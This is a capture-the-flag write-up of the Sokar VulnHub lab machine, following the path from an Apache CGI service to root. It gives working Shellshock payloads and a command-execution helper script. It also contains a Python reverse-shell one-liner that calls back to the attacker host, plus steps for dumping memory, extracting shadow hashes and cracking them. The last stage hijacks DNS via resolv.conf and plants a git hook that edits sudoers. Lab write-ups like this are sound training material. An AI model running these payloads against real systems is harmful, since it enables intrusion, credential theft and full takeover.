Sokar VulnHub Writeup

  1. Service Discovery
  2. Port 591
  3. Shellshock
  4. Next steps
  5. Bynarr
  6. Apophis
  7. It's the end of days, Sokar.
  8. Conclusion

Before I started playing VulnHub images, I lurked on their Twitter account, and recall last year a birthday challenge that they hosted - Sokar, developed by rasta_mouse. Following a colleauges recommendation, I decided to give it a go.

Service Discovery

nmap -p 1-65535 -T5 -A -v -sT 192.168.57.101

Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-11-08 15:47 GMT
NSE: Loaded 127 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:47
Completed NSE at 15:47, 0.00s elapsed
Initiating NSE at 15:47
Completed NSE at 15:47, 0.00s elapsed
Initiating ARP Ping Scan at 15:47
Scanning 192.168.57.101 [1 port]
Completed ARP Ping Scan at 15:47, 0.21s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:47
Completed Parallel DNS resolution of 1 host. at 15:47, 0.11s elapsed
Initiating Connect Scan at 15:47
Scanning 192.168.57.101 [65535 ports]
Discovered open port 591/tcp on 192.168.57.101
Completed Connect Scan at 15:51, 227.26s elapsed (65535 total ports)
Initiating Service scan at 15:51
Scanning 1 service on 192.168.57.101
Completed Service scan at 15:51, 6.01s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 192.168.57.101
NSE: Script scanning 192.168.57.101.
Initiating NSE at 15:51
Completed NSE at 15:51, 0.24s elapsed
Initiating NSE at 15:51
Completed NSE at 15:51, 0.00s elapsed
Nmap scan report for 192.168.57.101
Host is up (0.00100s latency).
Not shown: 65534 filtered ports
PORT    STATE SERVICE VERSION
591/tcp open  http    Apache httpd 2.2.15 ((CentOS))
| http-methods:
|   Supported Methods: GET HEAD POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.15 (CentOS)
|_http-title: System Stats
MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Uptime guess: 0.002 days (since Sun Nov  8 15:48:20 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT     ADDRESS
1   1.00 ms 192.168.57.101

NSE: Script Post-scanning.
Initiating NSE at 15:51
Completed NSE at 15:51, 0.00s elapsed
Initiating NSE at 15:51
Completed NSE at 15:51, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 236.71 seconds
           Raw packets sent: 51 (4.868KB) | Rcvd: 19 (976B)

So, we've got a single port available to us - port 591, which is running Apache 2.2.15.

Port 591

Upon visiting port 591 in a browser, we're given a screen showing several stats of the Sokar machine.

I check out the source of the page.

<html>
<head>
<title>System Stats</title>
</head>
<div align="center">
<body bgcolor="#ff9999">

<h2>Sokar Inc.</h2>
<h4>Internal Stats</h4>
<br />
<iframe frameborder=0 width=800 height=600 src="/cgi-bin/cat"></iframe>

</div>
</body>
</html>

Browsing to the 'cat' binary in the 'cgi-bin' directory - as expected - gives us the same output as in the above image, inside a PRE tag.

<pre>
Sun Nov 8 15:59:20 GMT 2015
15:59:20 up 14 min, 0 users, load average: 0.00, 0.00, 0.00
<br />
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State      
tcp        0      0 :::591                      :::*                        LISTEN      
udp        0      0 0.0.0.0:68                  0.0.0.0:*                               
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node Path
unix  2      [ ACC ]     STREAM     LISTENING     7084   @/com/ubuntu/upstart
unix  2      [ ]         DGRAM                    7227   @/org/kernel/udev/udevd
unix  4      [ ]         DGRAM                    8398   /dev/log
unix  2      [ ]         DGRAM                    9087   
unix  2      [ ]         DGRAM                    8578   
unix  3      [ ]         DGRAM                    7243   
unix  3      [ ]         DGRAM                    7242   

Linux 2.6.32-504.1.3.el6.x86_64 (sokar)     11/08/2015     _x86_64_    (1 CPU)

avg-cpu:  %user   %nice %system %iowait  %steal   %idle
           0.08    0.00    0.61    0.05    0.00   99.26

Device:            tps   Blk_read/s   Blk_wrtn/s   Blk_read   Blk_wrtn
sda               2.16        75.86        14.09      65922      12248
sdb               0.40         3.11         0.00       2700          0

</pre>

From this output, and from the output of our requests, we can determine a few key pieces of information.

  • UDP Port 68 is listening on all addresses
  • The kernel version is 2.6.32-504.1.3.el6.x86_64
  • Port 591 is listened to by Apache 2.2.15
  • The distribution is CentOS 64bit

I perform a dirbuster scan on the host, just in case we've missed something, but come up blank.

Shellshock

Following a CTF I did recently, and because of the age of this challenge, I decide to try and exploit Shellshock on the URL we discovered above.

After some experimentation and reading, I manage to put together a working payload. This blog post helped, for sure. The key was outputting valid headers, so that Apache would return a response. Without the echo for the Content-Type, and the second header to send a blank newline (indicating end of headers), Apache was just returning a 500 response.

curl -A "() { :; }; echo 'Content-type: text/html'; echo; /usr/bin/id;" http://192.168.57.101:591/cgi-bin/cat
uid=48(apache) gid=48(apache) groups=48(apache)

Time to get a reverse shell, and start digging.

After a while of messing around with various methods, it becomes apparent that outbound traffic is being blocked. I couldn't get a connect back on any port. Looks like we'll have to elevate through a helper script.

import requests, sys
from base64 import b64encode

while True:
    command = b64encode(raw_input('$ ').strip())
    headers = {
        'User-Agent': '() { :; }; echo \'Content-type: text/html\'; echo; export PATH=$PATH:/usr/bin:/bin:/sbin; echo \'%s\' | base64 -d | sh 2>&1' % command
    }

    print requests.get('http://192.168.57.101:591/cgi-bin/cat', headers=headers).text.strip()

This allows us to send commands to the target in a fake shell, and observe the output. I added in a PATH export, just to make things easier.

python sokar-1.py
$ id
uid=48(apache) gid=48(apache) groups=48(apache)
$ pwd
/var/www/cgi-bin
$ ls -alh
total 12K
drwxr-xr-x. 2 root root 4.0K Jan 25  2015 .
drwxr-xr-x. 5 root root 4.0K Nov 15  2014 ..
-rwxr-xr-x  1 root root  169 Jan 25  2015 cat

Time to do a bit of digging.

Next steps

I start to gather a bit more data about our target.

$ /bin/cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
bynarr:x:500:501::/home/bynarr:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
apophis:x:501:502::/home/apophis:/bin/bash

So we've got a couple of non-system users - 'bynarr' and 'apophis'.

$ ls -lah /home
total 16K
drwxr-xr-x.  4 root    root    4.0K Dec 30  2014 .
dr-xr-xr-x. 22 root    root    4.0K Nov  8 15:44 ..
drwx------   2 apophis apophis 4.0K Jan  2  2015 apophis
drwxrwxrwx.  2 bynarr  bynarr  4.0K Jan 27  2015 bynarr

The home directory for the user 'bynarr' is fully accessible by the world - odd.

$ ls -lah /home/bynarr
total 36K
drwxrwxrwx. 2 bynarr bynarr 4.0K Jan 27  2015 .
drwxr-xr-x. 4 root   root   4.0K Dec 30  2014 ..
-rw-------. 1 bynarr bynarr    0 Jan 27  2015 .bash_history
-rw-r--r--. 1 bynarr bynarr   18 Feb 21  2013 .bash_logout
-rw-r--r--. 1 bynarr bynarr  178 Nov 12  2014 .bash_profile
-rw-r--r--. 1 bynarr bynarr  124 Feb 21  2013 .bashrc
-rwxr-xr-x  1 root   root    368 Jan 27  2015 lime
-rw-------  1 root   root    11K Nov 13  2014 lime.ko
$ file /home/bynarr/lime
/home/bynarr/lime: Bourne-Again shell script text executable
$ /bin/cat /home/bynarr/lime
#!/bin/bash
echo """
==========================
Linux Memory Extractorator
==========================
"
echo "LKM, add or remove?"
echo -en "> "

read -e input

if [ $input == "add" ]; then

    /sbin/insmod /home/bynarr/lime.ko "path=/tmp/ram format=raw"

elif [ $input == "remove" ]; then

    /sbin/rmmod lime

else

    echo "Invalid input, burn in the fires of Netu!"

fi
$

This script fails to run - it looks like it accepts a line of user input, and then attempts to either add or remove the kernel module 'lime.ko'. The module appears to be from the project Linux Memory Extractor.

We have neither the permission to add or remove kernel modules. In addition, we do not have the permission to read the target kernel module - drat!

I go looking for other files owed by the 'bynarr' user.

$ find / -user bynarr 2>/dev/null
/home/bynarr
/home/bynarr/.bash_logout
/home/bynarr/.bashrc
/home/bynarr/.bash_profile
/home/bynarr/.bash_history
/tmp/stats
/var/spool/mail/bynarr

The only file here that stands out is the mail directory. I know what the other files contain - so I check out the mail directory.

$ ls -lah /var/spool/mail/bynarr
-rw-rw-r--. 1 bynarr mail 551 Dec 30  2014 /var/spool/mail/bynarr

Great - it's world readable.

$ /bin/cat /var/spool/mail/bynarr
Return-Path: <root@sokar>
Delivered-To: bynarr@localhost
Received:  from root by localhost
To: <bynarr@sokar>
Date: Thu, 13 Nov 2014 22:04:31 +0100
Subject: Welcome

Dear Bynarr.  Welcome to Sokar Inc. Forensic Development Team.
A user account has been setup for you.

UID 500 (bynarr)
GID 500 (bynarr)
    501 (forensic)

Password 'fruity'.  Please change this ASAP.
Should you require, you've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis.

All the best in your new role!

  -Sokar-

Oh my - one should really not be sending passwords by email.

From this email, we have now got a couple of new pieces of information.

  • What we hope to be a still valid login for the system
  • An outbound port number

I check the outbound port number simply by using netcat, listening on port 51242 on my test machine. Nada - I couldn't get an outbound connection.

Feeling a little disappointed, I get to work on executing commands as 'bynar'. For this, we'll need a TTY session, so that we can execute the 'su' command.

Bynarr

I fall back to my old friend - a blog post on post exploitation without TTY.

Using the Python example, I craft a script that allows me to execute a single command as the 'bynarr' user.

import pty,subprocess,os,time
(master, slave) = pty.openpty()
p = subprocess.Popen(['su', '-c', 'id', 'bynarr'], stdin=slave, stdout=slave, stderr=slave)
os.read(master, 1024)
os.write(master, 'fruity\n')
time.sleep(0.1)
print os.read(master, 1024)

I crunch this into a single line, and check that it works on the target.

$ python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'
uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)

Awesome! We can now execute commands as the 'bynarr' user. I update my previous script to execute commands as 'bynarr'.

import requests, sys
from base64 import b64encode

while True:
  user_command = b64encode(raw_input('$ ').strip())

  payload = b64encode("python -c 'from base64 import b64decode;import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen([\"/bin/su\",\"-c\",b64decode(\"%s\"),\"bynarr\"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,\"fruity\\n\");time.sleep(0.1);print os.read(master,1024);'"%user_command)
  headers = {
    'User-Agent': '() { :; }; echo \'Content-type: text/html\'; echo; export PATH=$PATH:/usr/bin:/bin:/sbin; echo \'%s\' | base64 -d | sh 2>&1' % payload
  }

  print requests.get('http://192.168.57.101:591/cgi-bin/cat', headers=headers).text.strip()

Horrible and hacky, but it works. I used base64 encoding so that I don't have to worry about avoiding newlines, quotes, or any other special characters when generating or transmitting the payload.

python sokar-2.py
$ id
uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)

Now that I'm connected as 'bynarr', I check the egress port that the previously found email said was open to us - success! After checking with netcat, I can get an outbound connection back to our test machine on port 51242.

Now I can start prodding around for realsies.

The 'bynarr' user is part of the 'forensics' group - I couldn't find any files owned by this group, so I move on.

I check out the 'sudo' permissions for 'bynar'.

$ sudo -l
Matching Defaults entries for bynarr on this host:
    !requiretty, visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User bynarr may run the following commands on this host:
    (ALL) NOPASSWD: /home/bynarr/lime

So, bynarr is able to run one script with sudo, without a password - the 'lime' script we found earlier. There are also a number of environment variables that are retained.

To make my life easier for myself, I connect back to my test machine with a 'real' session.

On my test machine I listen on port 51242.

  nc -l -v 0.0.0.0 51242

And then on the 'sokar' machine, I execute the following snippet of Python, taken from the Reverse Shell Cheat Sheet.

  python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.57.102", 51242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

On the host machine, we then see a shell connect back.

Connection from [192.168.57.101] port 51242 [tcp/*] accepted (family 2, sport 53723)
sh: no job control in this shell
sh-4.1$ id
id
uid=500(bynarr) gid=501(bynarr) groups=501(bynarr),500(forensic)

Next, I just execute the 'lime' script as is.

sh-4.1$ sudo /home/bynarr/lime
sudo /home/bynarr/lime

==========================
Linux Memory Extractorator
==========================

LKM, add or remove?
> add
sh-4.1$ ls -lah /tmp
ls -lah /tmp
total 256M
drwxrwxrwt.  3 root   root   4.0K Nov  8 18:44 .
dr-xr-xr-x. 22 root   root   4.0K Nov  8 15:44 ..
drwxrwxrwt   2 root   root   4.0K Nov  8 15:44 .ICE-unix
-r--r--r--   1 root   root   256M Nov  8 18:44 ram
-rw-rw-r--   1 bynarr bynarr 2.2K Nov  8 18:45 stats
sh-4.1$ sudo /home/bynarr/lime
sudo /home/bynarr/lime

==========================
Linux Memory Extractorator
==========================

LKM, add or remove?
> remove

Great - adding the module has created what appears to be a dump of the machines memory into the file named '/tmp/ram'.

To get this back to my test machine, I overwrite the file '/tmp/stats', which I assume is being used by '/cgi-bin/stats' to output the stats to the user. This is likely overwritten every so often by a cron job, so I'll have to be quick about it.

Because of the limited space available on the machine, I removed the '/tmp/stats' file, and then created a symbolic link to the '/tmp/ram' file. I then simply downloaded the file with wget. As the file was output including 'PRE' tags, I use the 'bless' hex editor to remove the superflous data.

After inspecting the memory dump, I'm able to extract the '/etc/shadow' entries for the users 'root', and 'apophis'. We've already got the login for 'bynarr', so I leave him out.

test@test-VirtualBox:~$ cat sokar.passwd
root:x:0:0:root:/root:/bin/bash
apophis:x:501:502::/home/apophis:/bin/bash
test@test-VirtualBox:~$ cat sokar.shadow
root:$6$cWQYjirZ$rADNjUFSiHmYp.UVdt4WYlmALhMXdkg9//9yuodQ2TFfiEWlAO0J6PRKesEfvu.3dfDb.7gTGgl/jesvFWs7l0:16434:0:99999:7:::
apophis:$6$0HQCZwUJ$rYYSk9SeqtbKv3aEe3kz/RQdpcka8K.2NGpPveVrE5qpkgSLTtE.Hvg0egWYcaeTYau11ahsRAWRDdT8jPltH.:16434:0:99999:7:::
test@test-VirtualBox:~$ /opt/john-1.8.0-jumbo-1/run/unshadow sokar.passwd sokar.shadow > sokar.john
test@test-VirtualBox:~$ cat sokar.john
root:$6$cWQYjirZ$rADNjUFSiHmYp.UVdt4WYlmALhMXdkg9//9yuodQ2TFfiEWlAO0J6PRKesEfvu.3dfDb.7gTGgl/jesvFWs7l0:0:0:root:/root:/bin/bash
apophis:$6$0HQCZwUJ$rYYSk9SeqtbKv3aEe3kz/RQdpcka8K.2NGpPveVrE5qpkgSLTtE.Hvg0egWYcaeTYau11ahsRAWRDdT8jPltH.:501:502::/home/apophis:/bin/bash

I then run the resulting combined file through John the Ripper.

test@test-VirtualBox:~$ /opt/john-1.8.0-jumbo-1/run/john --wordlist=/usr/share/dict/british-english sokar.john
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 64/64 OpenSSL])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
overdrive        (apophis)
1g 0:00:02:32 DONE (2015-11-09 06:08) 0.006575g/s 651.9p/s 1092c/s 1092C/s zings..études
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So we got a single match - for the 'apophis' user. In my session for 'bynarr', I su to 'apophis'.

sh-4.1$ python -c 'import pty; pty.spawn("/bin/sh")'    
python -c 'import pty; pty.spawn("/bin/sh")'
sh-4.1$ su apophis
su apophis
Password: overdrive

[apophis@sokar bynarr]$ id
id
uid=501(apophis) gid=502(apophis) groups=502(apophis)
[apophis@sokar bynarr]$

Awesome!

Apophis

Time to start sniffing around..

[apophis@sokar bynarr]$ cd   
cd
[apophis@sokar ~]$ ls -lah
ls -lah
total 32K
drwx------  2 apophis apophis 4.0K Jan  2  2015 .
drwxr-xr-x. 4 root    root    4.0K Dec 30  2014 ..
-rw-------  1 apophis apophis    0 Jan 15  2015 .bash_history
-rw-r--r--  1 apophis apophis   18 Feb 21  2013 .bash_logout
-rw-r--r--  1 apophis apophis  176 Feb 21  2013 .bash_profile
-rw-r--r--  1 apophis apophis  124 Feb 21  2013 .bashrc
-rwsr-sr-x  1 root    root    8.3K Jan  2  2015 build
[apophis@sokar ~]$ file build
file build
build: setuid setgid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

Ok, so we've got a binary that is owned by 'root', and has its SUID and SGID bits set. I'm guessing we need to exploit this - but let's see what it does first.

[apophis@sokar ~]$ ./build
./build
Build? (Y/N) Y
Y
Cloning into '/mnt/secret-project'...
ssh: Could not resolve hostname sokar-dev: Temporary failure in name resolution
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

Looks like it's trying to clone via SSH a project. If it's trying to clone via SSH, it is hopefully attempting to provide some credentials?

I download the binary to my test machine using the same trick as before - overwriting the file '/tmp/stats'.

build

After getting it on to my test machine, I open up the binary in gdb and check to see how it is cloning down the repo.

I set a breakpoint on 'system' (from looking at an strace call on the binary), and execute.

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdd18 --> 0x555555554a42 (<main+339>:    mov    rsp,r12)
0008| 0x7fffffffdd20 ("/usr/bin/git clone ssh://root@sokar-dev:/root/secret-project /mnt/secret-project/")

There's our command. As it's cloning from a host that the machine can't resolve, we're going to have to first of all trick the machine into resolving the 'sokar-dev' hostname to an arbitrary IP address.

Usually, I'd edit the '/etc/hosts' file, but in this case we do not have access to this file. Failing that, I'd use the HOSTALIASES environment variable, but this is not being retained through the 'sudo' call.

Out of desperation, I started to look for an alternative means of escalation, as this appeared to be a dead end.

While searching for files with odd permissions, I come across the following gem.

[apophis@sokar ~]$ find / -perm -2 ! -type l -ls -xdev 2>/dev/null
find / -perm -2 ! -type l -ls -xdev 2>/dev/null
 38513    4 -rw-rw-rw-   1 root     root           19 Jan  2  2015 /etc/resolv.conf
 18334    4 drwxrwxrwx   2 bynarr   bynarr       4096 Jan 27  2015 /home/bynarr
 16386    4 drwxrwxrwt   3 root     root         4096 Nov  8 19:46 /tmp
 49296    4 drwxrwxrwt   2 root     root         4096 Nov  8 15:44 /tmp/.ICE-unix
    39    4 drwxrwxrwt   2 root     root         4096 Jan  2  2015 /var/tmp

The file '/etc/resolv.conf' is world writable! This means we can control where this machine goes for its DNS resolutions.

I install dnsmasq, as configure it as per this blog post, ensuring that I create an entry in the '/etc/dnsmasq.hosts' file as follows.

192.168.57.102 sokar-dev # IP of test machine

Next, I overwrite the contents of the '/etc/resolv.conf' file with our own nameserver setting, pointing to our test machine.

[apophis@sokar ~]$ echo 'nameserver 192.168.57.102' > /etc/resolv.conf
echo 'nameserver 192.168.57.102' > /etc/resolv.conf
[apophis@sokar ~]$ cat /etc/resolv.conf
cat /etc/resolv.conf
nameserver 192.168.57.102

Then I start dnsmasq and run the 'build' binary again.

[apophis@sokar ~]$ ./build
./build
Build? (Y/N) Y
Y
Cloning into '/mnt/secret-project'...
The authenticity of host 'sokar-dev (192.168.57.102)' can't be established.
RSA key fingerprint is a7:f3:7f:5f:4d:a6:60:46:68:42:65:a2:f6:ee:fd:63.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added 'sokar-dev,192.168.57.102' (RSA) to the list of known hosts.

Cool - we can now control where the 'git' call that 'build' performs goes to to clone the repo. This means we can control the files that get cloned into '/mnt/secret-project' as the root user.

Time to build our repo - although I'm not sure where we'll go after this. Baby steps!

These commands are executed on our test machine, from which the 'build' binary will attempt to clone the '/root/secret-project' repo.

root@test-VirtualBox:~# mkdir secret-project
root@test-VirtualBox:~# cd secret-project
root@test-VirtualBox:~/secret-project# git init
Initialised empty Git repository in /root/secret-project/.git/
root@test-VirtualBox:~/secret-project# echo 'testing' > test
root@test-VirtualBox:~/secret-project# git add test
root@test-VirtualBox:~/secret-project# git commit
[master (root-commit) df57bf3] Initial commit
 1 file changed, 1 insertion(+)
 create mode 100644 test

I re-run the 'build' binary, to see if it successfully clones down our repo.

[apophis@sokar ~]$ rm -rf /mnt/secret-project
rm -rf /mnt/secret-project
[apophis@sokar ~]$ ./build
./build
Build? (Y/N) Y
Y
Cloning into '/mnt/secret-project'...
root@sokar-dev's password: test

remote: Counting objects: 3, done.        
remote: Total 3 (delta 0), reused 0 (delta 0)        
Receiving objects: 100% (3/3), done.
Checking connectivity... done.
[apophis@sokar ~]$ ls -alh /mnt/secret-project
ls -alh /mnt/secret-project
total 2.5K
drwxr-xr-x 3 apophis apophis  512 Nov  8 20:43 .
drwxr-xr-x 3 apophis apophis  512 Nov  8 20:43 ..
drwxr-xr-x 8 apophis apophis 1.0K Nov  8 20:43 .git
-rwxr-xr-x 1 apophis apophis    8 Nov  8 20:43 test

It's the end of days, Sokar.

So, taking note, we can execute a 'git clone' effectively as the 'root' user. We can clone a repository from an arbitrary host, and as such control the contents of the '/mnt/secret-project' repo.

After being recommended this challenge by a colleague, I recall him mentioning 'git'. I'll admit, this turned out to be a bit of a spoiler - but never mind..

I Google for git vulnerabilities and come across this article.

The long and short of it is, on case insensitive file systems, we are able to fool certain versions of git in to seeing a committed directory with the name of '.Git' as the repositories '.git' directory. This allows us to create arbitrary hooks, which can in turn allow us to execute commands as the user calling git (in this case, root!).

I rush back to my shell, and check the version of 'git' on the target.

[apophis@sokar ~]$ git --version
git --version
git version 2.2.0

Great - a vulnerable version of git. I proceed to check the filesystem being used on the target.

[apophis@sokar ~]$ mount
mount
/dev/sda1 on / type ext4 (rw)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
devpts on /dev/pts type devpts (rw,gid=5,mode=620)
tmpfs on /dev/shm type tmpfs (rw)
/dev/sdb1 on /mnt type vfat (rw,uid=501,gid=502)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)

The filesystem on the '/' directory is ext4, but the filesystem being used on the '/mnt' directory is vfat - a case insensitive filesystem.

On the target machine, I create a new repository. I then create a directory named '.Git', and within there create a malicious hook that will allow the 'apophis' user to use sudo on any command, without authentication.

[apophis@sokar ~]$ mkdir -p secret-project/.Git/hooks
mkdir -p secret-project/.Git/hooks
[apophis@sokar ~]$ cd secret-project
cd secret-project
[apophis@sokar secret-project]$ git init
git init
Initialized empty Git repository in /home/apophis/secret-project/.git/
[apophis@sokar secret-project]$ echo "echo 'apophis ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers" > .Git/hooks/post-checkout
<LL=(ALL) NOPASSWD: ALL' >> /etc/sudoers" > .Git/hooks/post-checkout         
[apophis@sokar secret-project]$ chmod +x .Git/hooks/post-checkout
chmod +x .Git/hooks/post-checkout
[apophis@sokar secret-project]$ git add .Git
git add .Git
[apophis@sokar secret-project]$ git commit -m 'Initial commit'
git commit -m 'Initial commit'
[master (root-commit) 2657438] Initial commit
 1 file changed, 1 insertion(+)
 create mode 100755 .Git/hooks/post-checkout

Next, I transfer the repository to my test machine at the path '/root/secret-project'.

Time to run the 'build' binary again, and then try to execute 'sudo su'.

[apophis@sokar ~]$ rm -rf /mnt/secret-project && ./build
rm -rf /mnt/secret-project && ./build
Build? (Y/N) Y
Y
Cloning into '/mnt/secret-project'...
root@sokar-dev's password: test

remote: Counting objects: 20, done.        
remote: Compressing objects: 100% (6/6), done.        
remote: Total 20 (delta 0), reused 0 (delta 0)        
Receiving objects: 100% (20/20), done.
Checking connectivity... done.
[apophis@sokar ~]$ sudo su
sudo su
[root@sokar apophis]# id
id
uid=0(root) gid=0(root) groups=0(root)

We've got root access - time to clean house.

[root@sokar apophis]# cd /root
cd /root
[root@sokar ~]# ls -alh
ls -alh
total 44K
dr-xr-x---.  3 root root 4.0K Nov  8 20:31 .
dr-xr-xr-x. 22 root root 4.0K Nov  8 20:30 ..
-rw-------.  1 root root    8 Nov  8 21:31 .bash_history
-rw-r--r--.  1 root root   18 May 20  2009 .bash_logout
-rw-r--r--.  1 root root  176 May 20  2009 .bash_profile
-rw-r--r--.  1 root root  176 Sep 23  2004 .bashrc
-rw-r--r--   1 root root  678 Jan  2  2015 build.c
-rw-r--r--.  1 root root  100 Sep 23  2004 .cshrc
-rw-r--r--   1 root root  837 Jan 15  2015 flag
drwx------   2 root root 4.0K Nov  8 20:32 .ssh
-rw-r--r--.  1 root root  129 Dec  3  2004 .tcshrc
[root@sokar ~]# cat flag
cat flag
                0   0
                |   |
            ____|___|____
         0  |~ ~ ~ ~ ~ ~|   0
         |  |   Happy   |   |
      ___|__|___________|___|__
      |/\/\/\/\/\/\/\/\/\/\/\/|
  0   |    B i r t h d a y    |   0
  |   |/\/\/\/\/\/\/\/\/\/\/\/|   |
 _|___|_______________________|___|__
|/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/|
|                                   |
|     V  u  l  n  H  u  b   ! !     |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
|___________________________________|

=====================================
| Congratulations on beating Sokar! |
|                                   |
|  Massive shoutout to g0tmi1k and  |
| the entire community which makes  |
|         VulnHub possible!         |
|                                   |
|    rasta_mouse (@_RastaMouse)     |
=====================================
[root@sokar ~]# cat build.c
cat build.c
#include <stdio.h>
#include <string.h>

void encryptDecrypt(char *input, char *output) {
        char key[] = {'I'};

        int i;
        for(i = 0; i < strlen(input); i++) {
                output[i] = input[i] ^ key[i % (sizeof(key)/sizeof(char))];
        }
}

int main (int argc, char *argv[]) {

        char baseStr[] = "f<:;f+ 'f. =i*%&',i::!sff;&&=    :&\"(;d-,?sf;&&=f:,*;,=d9;&#,*=if$'=f:,*;,=d9;&#,*=f";

    char a[2];
    char b[2] = "Y";

    printf("Build? (Y/N) ");
    gets(a);

    if( strcmp(a,b) == 0) {

            char encrypted[strlen(baseStr)];
            encryptDecrypt(baseStr, encrypted);
        setreuid(0, 0);
            system(encrypted);
    }

    else

        printf("OK :(\n");

}

Conclusion

This was a really nicely put together machine - very topical for the time, as it made use of two vulnerabilities that were very recently discovered, relative to the release date.

Thanks rasta_mouse, and of course thanks VulnHub!